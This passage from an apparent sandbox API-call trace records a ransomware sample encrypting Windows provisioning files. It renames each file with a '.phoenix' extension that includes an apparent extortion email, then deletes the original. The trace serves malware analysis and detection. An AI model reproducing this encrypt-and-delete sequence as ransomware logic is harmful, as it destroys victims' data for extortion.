	[0251.296] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.296] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.296] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.296] CryptDestroyKey (hKey=0x151080) returned 1
	[0251.296] CloseHandle (hObject=0x2d8) returned 1
	[0251.296] CloseHandle (hObject=0x2b4) returned 1
	[0251.296] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\438__Connections_Cellular_VIBO Telecom (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\438__connections_cellular_vibo telecom (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.297] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.298] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.298] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.298] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0251.298] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.298] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x354, lpOverlapped=0x0) returned 1
	[0251.320] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0251.320] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0251.321] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0251.321] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.321] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.321] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.321] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.321] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.321] CloseHandle (hObject=0x2b4) returned 1
	[0251.321] CloseHandle (hObject=0x2d8) returned 1
	[0251.322] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\43__Connections_Cellular_VELCOM (Belarus)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\43__connections_cellular_velcom (belarus)_i4$(__mvid)@wap.provxml")) returned 1
	[0251.323] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.323] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.323] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.324] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151600) returned 1
	[0251.324] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.324] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bf, lpOverlapped=0x0) returned 1
	[0251.334] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0251.334] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0251.335] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0251.335] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.335] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.335] CryptDestroyKey (hKey=0x151080) returned 1
	[0251.335] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.335] CryptDestroyKey (hKey=0x151600) returned 1
	[0251.335] CloseHandle (hObject=0x2d8) returned 1
	[0251.335] CloseHandle (hObject=0x2b4) returned 1
	[0251.335] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\440__Connections_Cellular_VIBO Telecom (Taiwan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\440__connections_cellular_vibo telecom (taiwan)_i2$(__mvid)@wap.provxml")) returned 1
	[0251.336] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.336] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.337] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0251.337] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.337] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cc, lpOverlapped=0x0) returned 1
	[0251.338] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0251.338] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0251.339] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0251.339] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.339] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.339] CryptDestroyKey (hKey=0x151680) returned 1
	[0251.339] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.339] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0251.339] CloseHandle (hObject=0x2b4) returned 1
	[0251.339] CloseHandle (hObject=0x2d8) returned 1
	[0251.339] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0251.341] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.341] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.341] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0251.341] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.341] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d4, lpOverlapped=0x0) returned 1
	[0251.343] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0251.343] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0251.344] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0251.344] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.344] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0251.344] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0251.344] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0251.344] CryptDestroyKey (hKey=0x151200) returned 1
	[0251.344] CloseHandle (hObject=0x2d8) returned 1
	[0251.344] CloseHandle (hObject=0x2b4) returned 1
	[0251.344] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\442__Connections_Cellular_Vodacom Tanzania (Tanzania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\442__connections_cellular_vodacom tanzania (tanzania)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.345] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.345] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.346] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0251.346] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.346] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0251.347] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0251.347] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0251.348] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0251.348] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.348] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0251.348] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0251.348] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0251.348] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0251.348] CloseHandle (hObject=0x2b4) returned 1
	[0251.348] CloseHandle (hObject=0x2d8) returned 1
	[0251.348] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\443__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\443__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0251.350] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.350] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.350] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0251.350] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0251.350] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.350] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bd, lpOverlapped=0x0) returned 1
	[0251.352] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0251.352] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0251.353] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0251.353] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.353] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0251.353] CryptDestroyKey (hKey=0x151100) returned 1
	[0251.353] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0251.353] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0251.353] CloseHandle (hObject=0x2d8) returned 1
	[0251.353] CloseHandle (hObject=0x2b4) returned 1
	[0251.353] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\444__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\444__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml")) returned 1
	[0251.355] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.355] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0251.355] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0251.355] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0251.355] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.356] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d9, lpOverlapped=0x0) returned 1
	[0251.467] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0251.467] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0251.468] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0251.468] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0251.468] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0251.468] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0251.468] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0251.468] CryptDestroyKey (hKey=0x151700) returned 1
	[0251.468] CloseHandle (hObject=0x2b4) returned 1
	[0251.468] CloseHandle (hObject=0x2d8) returned 1
	[0251.468] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0251.470] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
